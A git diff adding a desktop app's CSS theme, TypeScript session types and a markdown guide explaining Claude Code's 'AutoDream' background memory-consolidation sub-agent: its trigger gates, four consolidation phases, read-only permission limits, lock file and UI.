+  font-family: 'Inter';
+  font-style: normal;
+  font-weight: 400 600;
+  font-display: swap;
+  src: url('/fonts/inter-latin-ext.woff2') format('woff2');
+  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
+}
+
+/* Manrope – variable weight 400-800, latin */
+@font-face {
+  font-family: 'Manrope';
+  font-style: normal;
+  font-weight: 400 800;
+  font-display: swap;
+  src: url('/fonts/manrope-latin.woff2') format('woff2');
+  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
+}
+@font-face {
+  font-family: 'Manrope';
+  font-style: normal;
+  font-weight: 400 800;
+  font-display: swap;
+  src: url('/fonts/manrope-latin-ext.woff2') format('woff2');
+  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
+}
+
+/* JetBrains Mono – weight 400, latin */
+@font-face {
+  font-family: 'JetBrains Mono';
+  font-style: normal;
+  font-weight: 400;
+  font-display: swap;
+  src: url('/fonts/jetbrains-mono-latin.woff2') format('woff2');
+  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
+}
+@font-face {
+  font-family: 'JetBrains Mono';
+  font-style: normal;
+  font-weight: 400;
+  font-display: swap;
+  src: url('/fonts/jetbrains-mono-latin-ext.woff2') format('woff2');
+  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
+}
+
+/* Material Symbols Outlined – variable weight, use block to avoid showing raw text */
+@font-face {
+  font-family: 'Material Symbols Outlined';
+  font-style: normal;
+  font-weight: 100 700;
+  font-display: block;
+  src: url('/fonts/material-symbols-outlined.woff2') format('woff2');
+}
+
+/* Code highlighting is handled by shiki/react-shiki (inline styles + CSS line numbers) */
+
+/* ─── Shiki code viewer ───────────────────────────────────────── */
+.code-viewer-area .line {
+  display: block;
+  padding: 0 12px;
+}
+
+.code-viewer-area .has-line-numbers .line {
+  padding-left: 12px;
+}
+
+.code-viewer-area .line:hover {
+  background: rgba(0, 0, 0, 0.03);
+}
+
+.code-viewer-area .line-numbers::before {
+  margin-right: 1.5ch;
+}
+
+.code-viewer-area .has-line-numbers {
+  --line-numbers-foreground: rgba(135, 115, 109, 0.5);
+  --line-numbers-width: 2.5ch;
+  --line-numbers-padding-left: 0;
+  --line-numbers-padding-right: 0;
+  --line-numbers-font-size: 11px;
+}
+
+.settings-terminal-host .xterm {
+  height: 100%;
+  padding: 0;
+}
+
+.settings-terminal-host .xterm-viewport {
+  scrollbar-color: rgba(215, 210, 208, 0.35) transparent;
+}
+
+.settings-terminal-host .xterm-screen {
+  outline: none;
+}
+
+/* ─── Tailwind Theme Override (matches prototype design system) ─── */
+@theme {
+  --color-primary: #8F482F;
+  --color-primary-container: #AD5F45;
+  --color-primary-fixed: #FFDBD0;
+  --color-primary-fixed-dim: #FFB59D;
+
+  --color-on-primary: #FFFFFF;
+  --color-on-surface: #1B1C1A;
+  --color-on-surface-variant: #54433E;
+
+  --color-surface: #FAF9F5;
+  --color-surface-bright: #FAF9F5;
+  --color-surface-dim: #DBDAD6;
+  --color-surface-container: #EFEEEA;
+  --color-surface-container-low: #F4F4F0;
+  --color-surface-container-high: #E9E8E4;
+  --color-surface-container-highest: #E3E2DF;
+  --color-surface-container-lowest: #FFFFFF;
+  --color-surface-variant: #E3E2DF;
+
+  --color-background: #FAF9F5;
+
+  --color-outline: #87736D;
+  --color-outline-variant: #DAC1BA;
+
+  --color-secondary: #2D628F;
+  --color-secondary-container: #9ACBFE;
+  --color-tertiary: #4F6237;
+  --color-tertiary-container: #677B4E;
+
+  --color-error: #BA1A1A;
+  --color-error-container: #FFDAD6;
+  --color-on-error-container: #410002;
+
+  --color-inverse-surface: #2F312E;
+  --color-inverse-on-surface: #F2F1ED;
+  --color-inverse-primary: #FFB59D;
+
+  --color-success: #16A34A;
+  --color-warning: #CA8A04;
+
+  --font-headline: 'Manrope', sans-serif;
+  --font-body: 'Inter', sans-serif;
+  --font-label: 'Inter', sans-serif;
+  --font-mono: 'JetBrains Mono', monospace;
+}
+
+/* ─── Semantic Aliases (used by layout & infrastructure components) ── */
+:root,
+[data-theme="light"] {
+  color-scheme: light;
+
+  /* Layout dimensions */
+  --sidebar-width: 280px;
+  --sidebar-rail-width: 72px;
+  --titlebar-height: 40px;
+  --statusbar-height: 36px;
+  --motion-sidebar-duration: 280ms;
+  --motion-sidebar-easing: cubic-bezier(0.22, 1, 0.36, 1);
+
+  /* Surface aliases */
+  --color-surface-sidebar: var(--color-surface-container-low);
+  --color-surface-hover: var(--color-surface-container-high);
+  --color-surface-selected: var(--color-surface-container);
+  --color-model-option-selected-bg: var(--color-primary-fixed);
+  --color-model-option-selected-border: rgba(143, 72, 47, 0.2);
+  --color-sidebar-filter-bg: transparent;
+  --color-sidebar-filter-border: rgba(218, 193, 186, 0.92);
+  --color-sidebar-filter-icon-bg: transparent;
+  --color-sidebar-search-bg: rgba(255, 255, 255, 0.78);
+  --color-sidebar-search-border: rgba(218, 193, 186, 0.88);
+  --color-sidebar-item-hover: rgba(239, 238, 234, 0.82);
+  --color-sidebar-item-active: rgba(239, 238, 234, 0.94);
+  --color-sidebar-item-active-border: rgba(143, 72, 47, 0.12);
+  --sidebar-panel-bg-image: none;
+
+  /* Border aliases */
+  --color-border: var(--color-outline-variant);
+  --color-border-focus: var(--color-primary);
+  --color-border-separator: var(--color-outline-variant);
+
+  /* Text aliases */
+  --color-text-primary: var(--color-on-surface);
+  --color-text-secondary: var(--color-on-surface-variant);
+  --color-text-tertiary: var(--color-outline);
+
+  /* Info surface (for team status bar, notifications) */
+  --color-surface-info: var(--color-surface-container-low);
+
+  /* Brand & accents */
+  --color-brand: var(--color-primary);
+  --color-text-accent: var(--color-secondary);
+
+  /* Shadows */
+  --shadow-dropdown: 0 4px 20px rgba(27, 28, 26, 0.04), 0 12px 40px rgba(27, 28, 26, 0.08);
+  --shadow-sidebar-filter: none;
+  --shadow-focus-ring: 0 0 0 1px rgba(143, 72, 47, 0.16);
+  --shadow-error-ring: 0 0 0 1px rgba(186, 26, 26, 0.18);
+  --shadow-button-primary: 0 8px 24px rgba(143, 72, 47, 0.18);
+
+  /* Button colors */
+  --color-btn-primary-fg: var(--color-on-primary);
+  --gradient-btn-primary: linear-gradient(135deg, var(--color-primary), var(--color-primary-container));
+  --gradient-btn-primary-hover: linear-gradient(135deg, var(--color-primary-container), var(--color-primary));
+
+  /* User message bubble */
+  --color-surface-user-msg: var(--color-surface-container);
+
+  /* Glass / overlays */
+  --color-overlay-scrim: rgba(27, 28, 26, 0.48);
+  --color-surface-glass: rgba(255, 255, 255, 0.84);
+  --color-surface-glass-border: rgba(218, 193, 186, 0.22);
+
+  /* Code + diff */
+  --color-code-bg: #FDFCF9;
+  --color-code-fg: #24201E;
+  --color-code-comment: #5C6B7A;
+  --color-code-string: #437220;
+  --color-code-keyword: #B8533B;
+  --color-code-function: #1D5A8C;
+  --color-code-number: #1B7A6A;
+  --color-code-property: #7A3E20;
+  --color-code-type: #7E5520;
+  --color-code-parameter: #5C3D2E;
+  --color-code-punctuation: #5C504A;
+  --color-code-inserted: #1A7F37;
+  --color-code-deleted: #CF222E;
+
+  --color-diff-added-bg: #E8F5E2;
+  --color-diff-added-word: #B8E4A8;
+  --color-diff-added-gutter: #D4EDCA;
+  --color-diff-added-text: #1A7F37;
+  --color-diff-removed-bg: #FDECEA;
+  --color-diff-removed-word: #F5B8B4;
+  --color-diff-removed-gutter: #F9D4D0;
+  --color-diff-removed-text: #CF222E;
+  --color-diff-highlight-bg: #FFF5D6;
+  --color-diff-highlight-gutter: #FFECB3;
+  --color-diff-title-bg: #F4F4F0;
+  --color-diff-title-color: #87736D;
+  --color-diff-title-border: #DAC1BA;
+
+  /* Terminal */
+  --color-terminal-header: #2D2D2D;
+  --color-terminal-bg: #1E1E1E;
+  --color-terminal-border: #1A1A1A;
+  --color-terminal-fg: #D4D4D4;
+  --color-terminal-muted: #999999;
+  --color-terminal-accent: #28C840;
+  --color-terminal-danger: #FF5F57;
+  --color-terminal-warning: #FEBC2E;
+
+  /* Misc */
+  --color-window-close-hover: #E81123;
+  --color-selection-bg: rgba(255, 219, 208, 0.9);
+  --color-selection-fg: #390C00;
+
+  /* Radii */
+  --radius-sm: 4px;
+  --radius-md: 8px;
+  --radius-lg: 12px;
+  --radius-xl: 16px;
+  --radius-full: 9999px;
+}
+
+[data-theme="dark"] {
+  color-scheme: dark;
+
+  --color-primary: #FFB59F;
+  --color-primary-container: #FF6E40;
+  --color-primary-fixed: #FFD9CF;
+  --color-primary-fixed-dim: #FFB59F;
+
+  --color-on-primary: #2C120B;
+  --color-on-surface: #E5E2E1;
+  --color-on-surface-variant: #B7AAA5;
+
+  --color-surface: #131313;
+  --color-surface-bright: #201F1F;
+  --color-surface-dim: #0E0E0E;
+  --color-surface-container: #201F1F;
+  --color-surface-container-low: #1C1B1B;
+  --color-surface-container-high: #2A2929;
+  --color-surface-container-highest: #353534;
+  --color-surface-container-lowest: #0E0E0E;
+  --color-surface-variant: #252120;
+  --color-background: #0E0E0E;
+
+  --color-outline: #8D7F7A;
+  --color-outline-variant: #5A4138;
+
+  --color-secondary: #CDBDFF;
+  --color-secondary-container: #3A3050;
+  --color-tertiary: #00DAF3;
+  --color-tertiary-container: #003D44;
+
+  --color-error: #FFB4AB;
+  --color-error-container: #93000A;
+  --color-on-error-container: #FFDAD6;
+
+  --color-inverse-surface: #E5E2E1;
+  --color-inverse-on-surface: #1B1C1A;
+  --color-inverse-primary: #8F482F;
+
+  --color-success: #7EDB8B;
+  --color-warning: #F7C46C;
+
+  --color-surface-sidebar: #171615;
+  --color-surface-hover: var(--color-surface-container-highest);
+  --color-surface-selected: var(--color-surface-container);
+  --color-model-option-selected-bg: rgba(255, 181, 159, 0.13);
+  --color-model-option-selected-border: rgba(255, 181, 159, 0.34);
+  --color-sidebar-filter-bg: rgba(255, 255, 255, 0.01);
+  --color-sidebar-filter-border: rgba(255, 255, 255, 0.08);
+  --color-sidebar-filter-icon-bg: transparent;
+  --color-sidebar-search-bg: rgba(255, 255, 255, 0.03);
+  --color-sidebar-search-border: rgba(255, 255, 255, 0.06);
+  --color-sidebar-item-hover: rgba(255, 255, 255, 0.04);
+  --color-sidebar-item-active: rgba(255, 255, 255, 0.06);
+  --color-sidebar-item-active-border: rgba(255, 181, 159, 0.14);
+  --sidebar-panel-bg-image:
+    radial-gradient(circle at top left, rgba(255, 181, 159, 0.045), transparent 34%),
+    linear-gradient(180deg, rgba(255, 255, 255, 0.02), rgba(255, 255, 255, 0));
+
+  --color-border: rgba(90, 65, 56, 0.18);
+  --color-border-focus: rgba(255, 181, 159, 0.55);
+  --color-border-separator: rgba(90, 65, 56, 0.12);
+
+  --color-text-primary: var(--color-on-surface);
+  --color-text-secondary: var(--color-on-surface-variant);
+  --color-text-tertiary: #8F827D;
+
+  --color-surface-info: rgba(32, 31, 31, 0.88);
+  --color-brand: var(--color-primary);
+  --color-text-accent: var(--color-tertiary);
+
+  --shadow-dropdown: 0 16px 40px rgba(0, 0, 0, 0.42);
+  --shadow-sidebar-filter: none;
+  --shadow-focus-ring: 0 0 0 1px rgba(255, 181, 159, 0.32);
+  --shadow-error-ring: 0 0 0 1px rgba(255, 180, 171, 0.26);
+  --shadow-button-primary: 0 12px 24px rgba(255, 110, 64, 0.18);
+
+  --gradient-btn-primary: linear-gradient(135deg, var(--color-primary), var(--color-primary-container));
+  --gradient-btn-primary-hover: linear-gradient(135deg, var(--color-primary-container), var(--color-primary));
+
+  --color-surface-user-msg: rgba(32, 31, 31, 0.92);
+
+  --color-overlay-scrim: rgba(6, 6, 6, 0.56);
+  --color-surface-glass: rgba(32, 31, 31, 0.8);
+  --color-surface-glass-border: rgba(90, 65, 56, 0.18);
+
+  --color-code-bg: #0E0E0E;
+  --color-code-fg: #E5E2E1;
+  --color-code-comment: #8F8683;
+  --color-code-string: #88C988;
+  --color-code-keyword: #FF8F70;
+  --color-code-function: #00DAF3;
+  --color-code-number: #74E0F7;
+  --color-code-property: #FFC9B8;
+  --color-code-type: #CDBDFF;
+  --color-code-parameter: #E5E2E1;
+  --color-code-punctuation: #9B908C;
+  --color-code-inserted: #8EEA9A;
+  --color-code-deleted: #FFB59F;
+
+  --color-diff-added-bg: rgba(126, 219, 139, 0.12);
+  --color-diff-added-word: rgba(126, 219, 139, 0.22);
+  --color-diff-added-gutter: rgba(126, 219, 139, 0.18);
+  --color-diff-added-text: #8EEA9A;
+  --color-diff-removed-bg: rgba(255, 110, 64, 0.12);
+  --color-diff-removed-word: rgba(255, 110, 64, 0.24);
+  --color-diff-removed-gutter: rgba(255, 110, 64, 0.18);
+  --color-diff-removed-text: #FFB59F;
+  --color-diff-highlight-bg: rgba(205, 189, 255, 0.12);
+  --color-diff-highlight-gutter: rgba(205, 189, 255, 0.16);
+  --color-diff-title-bg: var(--color-surface-container-low);
+  --color-diff-title-color: var(--color-text-tertiary);
+  --color-diff-title-border: rgba(90, 65, 56, 0.15);
+
+  --color-terminal-header: #242323;
+  --color-terminal-bg: #121212;
+  --color-terminal-border: #1A1919;
+  --color-terminal-fg: #D7D2D0;
+  --color-terminal-muted: #8F8683;
+  --color-terminal-accent: #7EF18A;
+  --color-terminal-danger: #FF6D67;
+  --color-terminal-warning: #F8C55F;
+
+  --color-window-close-hover: #C63B44;
+  --color-selection-bg: rgba(255, 181, 159, 0.32);
+  --color-selection-fg: #FBE7E1;
+}
+
+/* ─── Material Symbols ─────────────────────────────────────────── */
+.material-symbols-outlined {
+  font-family: 'Material Symbols Outlined';
+  font-weight: normal;
+  font-style: normal;
+  font-size: 24px;
+  line-height: 1;
+  letter-spacing: normal;
+  text-transform: none;
+  display: inline-block;
+  white-space: nowrap;
+  word-wrap: normal;
+  direction: ltr;
+  -webkit-font-feature-settings: 'liga';
+  -webkit-font-smoothing: antialiased;
+  font-variation-settings: 'FILL' 0, 'wght' 400, 'GRAD' 0, 'opsz' 24;
+  vertical-align: middle;
+}
+
+/* ─── Base styles ──────────────────────────────────────────────── */
+* {
+  box-sizing: border-box;
+}
+
+html, body, #root {
+  height: 100%;
+  margin: 0;
+  padding: 0;
+  font-family: var(--font-body);
+  color: var(--color-on-surface);
+  background-color: var(--color-background);
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+::selection {
+  background: var(--color-selection-bg);
+  color: var(--color-selection-fg);
+}
+
+/* Tauri drag region */
+[data-tauri-drag-region] {
+  -webkit-app-region: drag;
+}
+button, input, textarea, select, a, [role="button"] {
+  -webkit-app-region: no-drag;
+}
+[draggable="true"] {
+  -webkit-app-region: no-drag;
+}
+.tab-bar-hit-area,
+.tab-bar-hit-area * {
+  -webkit-app-region: no-drag;
+}
+
+/* Custom shadow from prototype */
+.custom-shadow {
+  box-shadow: var(--shadow-dropdown);
+}
+
+.glass-panel {
+  background: var(--color-surface-glass);
+  border: 1px solid var(--color-surface-glass-border);
+  backdrop-filter: blur(20px);
+  -webkit-backdrop-filter: blur(20px);
+  box-shadow: var(--shadow-dropdown);
+}
+
+.glass-panel:focus-within {
+  box-shadow: var(--shadow-focus-ring), var(--shadow-dropdown);
+}
+
+.sidebar-shell {
+  width: var(--sidebar-width);
+  flex-shrink: 0;
+  overflow: hidden;
+  transition: width var(--motion-sidebar-duration) var(--motion-sidebar-easing);
+  will-change: width;
+}
+
+.sidebar-shell[data-state="closed"] {
+  width: var(--sidebar-rail-width);
+}
+
+.sidebar-panel {
+  width: var(--sidebar-width);
+  min-width: var(--sidebar-width);
+  background-image: var(--sidebar-panel-bg-image);
+  background-repeat: no-repeat;
+  transition:
+    background-color var(--motion-sidebar-duration) var(--motion-sidebar-easing),
+    border-color var(--motion-sidebar-duration) var(--motion-sidebar-easing);
+}
+
+.sidebar-panel[data-state="closed"] {
+  width: var(--sidebar-rail-width);
+  min-width: var(--sidebar-rail-width);
+}
+
+.sidebar-toggle-button {
+  color: color-mix(in srgb, var(--color-text-secondary) 72%, transparent);
+  background: transparent;
+  transition:
+    color 180ms ease,
+    background-color 180ms ease,
+    transform 180ms ease;
+  border: 0;
+  box-shadow: none;
+}
+
+.sidebar-toggle-button:hover {
+  color: color-mix(in srgb, var(--color-text-primary) 88%, transparent);
+  background: color-mix(in srgb, var(--color-surface-hover) 34%, transparent);
+}
+
+.sidebar-toggle-button:active {
+  transform: translateY(0.5px);
+  background: color-mix(in srgb, var(--color-surface-hover) 54%, transparent);
+}
+
+.sidebar-toggle-button--open {
+  color: color-mix(in srgb, var(--color-text-secondary) 68%, transparent);
+}
+
+.sidebar-toggle-button--open:hover {
+  color: color-mix(in srgb, var(--color-text-primary) 82%, transparent);
+}
+
+.sidebar-toggle-button--collapsed {
+  color: color-mix(in srgb, var(--color-text-primary) 78%, transparent);
+}
+
+.sidebar-toggle-button--collapsed:hover {
+  color: var(--color-text-primary);
+}
+
+.sidebar-toggle-button--collapsed:active {
+}
+
+.sidebar-toggle-icon {
+  overflow: visible;
+}
+
+.sidebar-toggle-chevron {
+  stroke: currentColor;
+  transition:
+    opacity 180ms ease,
+    transform 180ms ease;
+  vector-effect: non-scaling-stroke;
+}
+
+.sidebar-toggle-chevron {
+  opacity: 0.95;
+  stroke-linecap: round;
+  stroke-linejoin: round;
+  stroke-width: 1.85;
+  transform-origin: 50% 50%;
+}
+
+.sidebar-toggle-icon--open .sidebar-toggle-chevron {
+  transform: translateX(-0.2px);
+}
+
+.sidebar-toggle-button--collapsed .sidebar-toggle-chevron {
+  stroke-width: 2;
+  transform: translateX(0.4px);
+}
+
+.sidebar-copy {
+  overflow: hidden;
+  white-space: nowrap;
+  transition:
+    max-width var(--motion-sidebar-duration) var(--motion-sidebar-easing),
+    opacity calc(var(--motion-sidebar-duration) - 40ms) ease,
+    transform var(--motion-sidebar-duration) var(--motion-sidebar-easing);
+}
+
+.sidebar-copy--visible {
+  max-width: 240px;
+  opacity: 1;
+  transform: translateX(0);
+}
+
+.sidebar-copy--hidden {
+  max-width: 0;
+  opacity: 0;
+  transform: translateX(-10px);
+}
+
+.sidebar-section {
+  overflow: hidden;
+  transition:
+    max-height var(--motion-sidebar-duration) var(--motion-sidebar-easing),
+    opacity calc(var(--motion-sidebar-duration) - 40ms) ease,
+    transform var(--motion-sidebar-duration) var(--motion-sidebar-easing);
+}
+
+.sidebar-section--visible {
+  max-height: 1200px;
+  opacity: 1;
+  transform: translateX(0);
+}
+
+.sidebar-section--hidden {
+  max-height: 0;
+  opacity: 0;
+  transform: translateX(-12px);
+  pointer-events: none;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .sidebar-shell,
+  .sidebar-panel,
+  .sidebar-copy,
+  .sidebar-section {
+    transition-duration: 0.01ms !important;
+  }
+}
+
+.markdown-prose .md-table-wrap table {
+  border-collapse: separate;
+  border-spacing: 0;
+}
+
+.markdown-prose .md-table-wrap tbody tr:last-child td {
+  border-bottom: 0;
+}
+
+.markdown-prose a code {
+  color: inherit;
+}
+
+/* Scrollbar */
+::-webkit-scrollbar { width: 6px; height: 6px; }
+::-webkit-scrollbar-track { background: transparent; }
+::-webkit-scrollbar-thumb { background: var(--color-outline); border-radius: 9999px; opacity: 0.3; }
+::-webkit-scrollbar-thumb:hover { opacity: 0.6; }
+
+.sidebar-scroll-area {
+  scrollbar-width: thin;
+  scrollbar-color: color-mix(in srgb, var(--color-outline) 72%, transparent) transparent;
+}
+
+.sidebar-scroll-area::-webkit-scrollbar {
+  width: 4px;
+}
+
+.sidebar-scroll-area::-webkit-scrollbar-track {
+  background: transparent;
+}
+
+.sidebar-scroll-area::-webkit-scrollbar-thumb {
+  background: color-mix(in srgb, var(--color-outline) 78%, transparent);
+  border-radius: 9999px;
+}
+
+.sidebar-scroll-area::-webkit-scrollbar-thumb:hover {
+  background: color-mix(in srgb, var(--color-outline) 92%, transparent);
+}
+
+/* Animations */
+@keyframes shimmer {
+  0%, 100% { opacity: 0.4; }
+  50% { opacity: 1; }
+}
+@keyframes spin {
+  to { transform: rotate(360deg); }
+}
+@keyframes pulse-dot {
+  0%, 100% { opacity: 1; }
+  50% { opacity: 0.3; }
+}
+.animate-shimmer { animation: shimmer 1.5s ease-in-out infinite; }
+.animate-spin { animation: spin 1s linear infinite; }
+.animate-pulse-dot { animation: pulse-dot 1.5s ease-in-out infinite; }
+
+/* Progress bar */
+@keyframes progress-fill {
+  from { width: 0%; }
+}
diff --git a/cc-haha/desktop/src/types/session.ts b/cc-haha/desktop/src/types/session.ts
new file mode 100644
index 0000000..96a7e60
--- /dev/null
+++ b/cc-haha/desktop/src/types/session.ts
@@ -0,0 +1,27 @@
+// Source: src/server/services/sessionService.ts
+
+export type SessionListItem = {
+  id: string
+  title: string
+  createdAt: string
+  modifiedAt: string
+  messageCount: number
+  projectPath: string
+  workDir: string | null
+  workDirExists: boolean
+}
+
+export type MessageEntry = {
+  id: string
+  type: 'user' | 'assistant' | 'system' | 'tool_use' | 'tool_result'
+  content: unknown
+  timestamp: string
+  model?: string
+  parentUuid?: string
+  parentToolUseId?: string
+  isSidechain?: boolean
+}
+
+export type SessionDetail = SessionListItem & {
+  messages: MessageEntry[]
+}
diff --git a/cc-haha/docs/agent/images/07-tool-pool.png b/cc-haha/docs/agent/images/07-tool-pool.png
new file mode 100644
index 0000000..7fdc9cc
Binary files /dev/null and b/cc-haha/docs/agent/images/07-tool-pool.png differ
diff --git a/cc-haha/docs/en/agent/images/04-agent-teams.png b/cc-haha/docs/en/agent/images/04-agent-teams.png
new file mode 100644
index 0000000..9d0b92b
Binary files /dev/null and b/cc-haha/docs/en/agent/images/04-agent-teams.png differ
diff --git a/cc-haha/docs/en/memory/03-autodream.md b/cc-haha/docs/en/memory/03-autodream.md
new file mode 100644
index 0000000..fb983eb
--- /dev/null
+++ b/cc-haha/docs/en/memory/03-autodream.md
@@ -0,0 +1,316 @@
+# Claude Code Memory System — AutoDream Memory Consolidation
+
+> Claude "dreams" -- silently reviewing recent sessions in the background to consolidate, update, and prune memories, much like the human brain organizes memories during sleep.
+
+<p align="center">
+<a href="#1-what-is-autodream">AutoDream</a> · <a href="#2-trigger-conditions">Trigger Conditions</a> · <a href="#3-four-phase-consolidation-process">Consolidation Process</a> · <a href="#4-security-restrictions">Security</a> · <a href="#5-ui-presentation">UI</a> · <a href="#6-configuration-and-toggles">Configuration</a> · <a href="#7-relationship-with-extractmemories">Comparison</a> · <a href="#8-source-code-navigation">Source Code</a>
+</p>
+
+![AutoDream Overview](./images/11-autodream-overview.png)
+
+---
+
+## 1. What Is AutoDream?
+
+AutoDream is Claude Code's **background memory consolidation mechanism**, internally codenamed **"Dream: Memory Consolidation"**.
+
+Core metaphor:
+
+| Human | Claude Code |
+|-------|-------------|
+| Jotting down notes throughout the day | `extractMemories` -- extracts new memories after each conversation |
+| Organizing the notebook while sleeping | `autoDream` -- periodically reviews multiple sessions to consolidate all memories |
+
+When you're inactive (default interval: 24 hours with 5 accumulated sessions), Claude silently launches a **"dreaming" sub-agent** (forked subagent) in the background. It reviews all recent session transcripts and consolidates scattered memories into structured, deduplicated, up-to-date persistent knowledge.
+
+**Key source**: `src/services/autoDream/autoDream.ts`
+
+```typescript
+// Background memory consolidation. Fires the /dream prompt as a forked
+// subagent when time-gate passes AND enough sessions have accumulated.
+```
+
+---
+
+## 2. Trigger Conditions
+
+![AutoDream Trigger Flow](./images/12-autodream-trigger.png)
+
+AutoDream uses a **five-gate** mechanism, checking in order of increasing cost:
+
+### Gate Chain
+
+| # | Gate | Description | Cost |
+|---|------|-------------|------|
+| 1 | **Feature toggle** | `isAutoDreamEnabled()` + not KAIROS + not remote mode + autoMemory enabled | Memory read |
+| 2 | **Time gate** | At least `minHours` since last consolidation (default 24h) | 1 stat call |
+| 3 | **Scan throttle** | At least 10 minutes since last scan before rescanning | Timestamp comparison |
+| 4 | **Session gate** | At least `minSessions` new sessions since last consolidation (default 5, excluding current) | Directory scan |
+| 5 | **Lock gate** | No other process currently dreaming (PID lock file) | stat + read |
+
+**Key source** `src/services/autoDream/autoDream.ts:63-66`:
+
+```typescript
+const DEFAULTS: AutoDreamConfig = {
+  minHours: 24,      // At least 24 hours since last consolidation
+  minSessions: 5,    // At least 5 sessions accumulated in the interim
+}
+```
+
+### Scan Throttle
+
+When the time gate passes but the session gate doesn't, the lock file's mtime remains unchanged, causing the time gate to pass on every subsequent turn. To avoid frequent directory scans, a **10-minute scan throttle** is in place:
+
+```typescript
+const SESSION_SCAN_INTERVAL_MS = 10 * 60 * 1000
+```
+
+### Execution Entry Point
+
+AutoDream is triggered during the stop hook phase after each AI response (fire-and-forget, does not block the main thread):
+
+**Key source** `src/query/stopHooks.ts:154-156`:
+
+```typescript
+if (!toolUseContext.agentId) {
+  void executeAutoDream(stopHookContext, toolUseContext.appendSystemMessage)
+}
+```
+
+### Blocking Conditions
+
+AutoDream will not trigger in the following situations:
+
+- **KAIROS mode**: Uses a separate disk-skill dream
+- **Remote mode**: `getIsRemoteMode() === true`
+- **autoMemory not enabled**
+- **`--bare` / SIMPLE mode**
+- **Inside a sub-agent**: Only the main agent triggers it
+
+---
+
+## 3. Four-Phase Consolidation Process
+
+![AutoDream Four Phases](./images/13-autodream-phases.png)
+
+Once all gates pass, AutoDream launches a **forked sub-agent** that operates according to the 4-phase prompt defined in `consolidationPrompt.ts`:
+
+### Phase 1 -- Orient
+
+```
+- ls the memory directory, see existing files
+- Read MEMORY.md index, understand the current knowledge structure
+- Browse existing topic files to avoid creating duplicates
+- If logs/ or sessions/ subdirectories exist, check recent entries
+```
+
+### Phase 2 -- Gather Recent Signal
+
+Collects information in order of priority (highest first):
+
+1. **Daily logs** -- `logs/YYYY/MM/YYYY-MM-DD.md` (append-stream logs)
+2. **Drifted memories** -- Old facts that contradict the current codebase state
+3. **Session transcript search** -- Narrow-scope `grep` searches in JSONL transcript files
+
+```
+Don't exhaustively read transcript files. Only look for content you already suspect is important.
+```
+
+### Phase 3 -- Consolidate
+
+- **Merge** new signals into existing topic files (rather than creating new near-duplicate files)
+- **Convert** relative dates to absolute dates ("yesterday" -> "2026-04-03")
+- **Delete** old facts that have been superseded
+
+### Phase 4 -- Prune and Index
+
+- Update `MEMORY.md`, keeping it within the line limit and <= 25KB
+- Remove pointers to outdated memories
+- Compress verbose entries (index lines >200 characters have their content moved into topic files)
+- Add pointers to important memories
+- Resolve conflicts (when two files disagree, fix the incorrect one)
+
+**Key source**: `src/services/autoDream/consolidationPrompt.ts:10-64`
+
+---
+
+## 4. Security Restrictions
+
+The AutoDream sub-agent operates under strict tool permission constraints:
+
+### Bash: Read-Only Only
+
+```
+Allowed: ls, find, grep, cat, stat, wc, head, tail
+Denied: All write, redirect, or state-modifying commands
+```
+
+### File Operations: Memory Directory Only
+
+`createAutoMemCanUseTool()` is the permission function shared by both `extractMemories` and `autoDream`:
+
+```
+Allowed: Read / Grep / Glob -- unrestricted
+Allowed: Edit / Write -- only within the auto-memory directory
+Denied: MCP / Agent / non-read-only Bash / other write operations
+```
+
+**Key source**: `src/services/extractMemories/extractMemories.ts:167-171`
+
+### Lock File Mechanism
+
+Uses a `.consolidate-lock` file for process-level mutual exclusion:
+
+| Mechanism | Description |
+|-----------|-------------|
+| **Lock content** | PID of the holder |
+| **Timestamp** | Lock file mtime = time of last consolidation |
+| **Expiry** | Held for more than 1 hour is considered expired (prevents PID reuse issues) |
+| **Contention** | Two processes write simultaneously -> last writer wins, loser exits on re-read |
+| **Rollback** | On failure, mtime is rolled back to the pre-acquisition value so the next attempt is unaffected |
+| **Crash recovery** | Stale mtime + dead PID -> next process reclaims the lock |
+
+**Key source**: `src/services/autoDream/consolidationLock.ts`
+
+---
+
+## 5. UI Presentation
+
+### Bottom Status Bar
+
+When AutoDream is running, the bottom status bar displays a **"dreaming"** label:
+
+```typescript
+// src/tasks/pillLabel.ts:61-62
+case 'dream':
+  return 'dreaming'
+```
+
+### Task Detail Dialog
+
+Users can press `Shift+Down` to open the background task dialog and view real-time dream progress:
+
+- **DreamDetailDialog** component displays:
+  - Number of sessions being reviewed
+  - Current phase: `starting` (analyzing) -> `updating` (modifying memory files)
+  - Latest assistant text response and tool call count
+  - List of file paths touched
+
+- **Users can press `x` to terminate** an ongoing dream (triggers abort + lock rollback)
+
+### Completion Notification
+
+After the dream completes, if files were modified, an inline notification appears in the main session:
+
+```typescript
+appendSystemMessage({
+  ...createMemorySavedMessage(dreamState.filesTouched),
+  verb: 'Improved',
+})
+```
+
+**Key source**:
+- `src/tasks/DreamTask/DreamTask.ts` -- Task state management
+- `src/components/tasks/DreamDetailDialog.tsx` -- UI component
+
+---
+
+## 6. Configuration and Toggles
+
+### settings.json
+
+```json
+{
+  "autoDreamEnabled": true
+}
